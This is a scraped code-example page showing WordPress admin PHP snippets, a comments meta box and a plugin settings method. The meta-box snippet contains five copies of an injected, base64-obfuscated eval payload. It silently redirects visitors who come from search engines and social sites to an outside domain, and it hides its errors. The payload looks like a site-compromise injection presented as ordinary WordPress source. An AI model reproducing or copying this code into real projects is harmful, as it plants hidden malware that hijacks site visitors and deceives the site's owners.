    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $total;
    ?>
);return false;"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Show comments');
    ?>
</a> <img class="waiting" style="display:none;" src="images/wpspin_light.gif" alt="" /></p>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    $hidden = get_hidden_meta_boxes('post');
    if (!in_array('commentsdiv', $hidden)) {
        ?>
		<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $total;
        ?>
, 10);});</script>
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    }
    wp_comment_trashnotice();
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:59,代码来源:meta-boxes.php


示例16: markup_settings_page

 /**
  * Creates the markup for the settings page
  */
 public function markup_settings_page()
 {
     $variables = array('rasr_meta_box_id' => 'bgmp_rasr-plug', 'rasr_meta_box_page' => 'bgmp_settings');
     $variables['hidden'] = get_hidden_meta_boxes($variables['rasr_meta_box_page']);
     $variables['hidden_class'] = in_array($variables['rasr_meta_box_page'], $variables['hidden']) ? ' hide-if-js' : '';
     // @todo some of above may not be needed
     if (current_user_can('manage_options')) {
         echo $GLOBALS['bgmp']->render_template('settings/settings.php', $variables);
     } else {
         wp_die('Access denied.');
     }
 }
开发者ID:norboo,项目名称:basic-google-maps-placemarks,代码行数:15,代码来源:settings.php


示例17: do_accordion_sections

该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP get_historical_turtle_portfolio_value函数代码示例发布时间:2022-05-15
下一篇:
PHP get_hidden_columns函数代码示例发布时间:2022-05-15
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap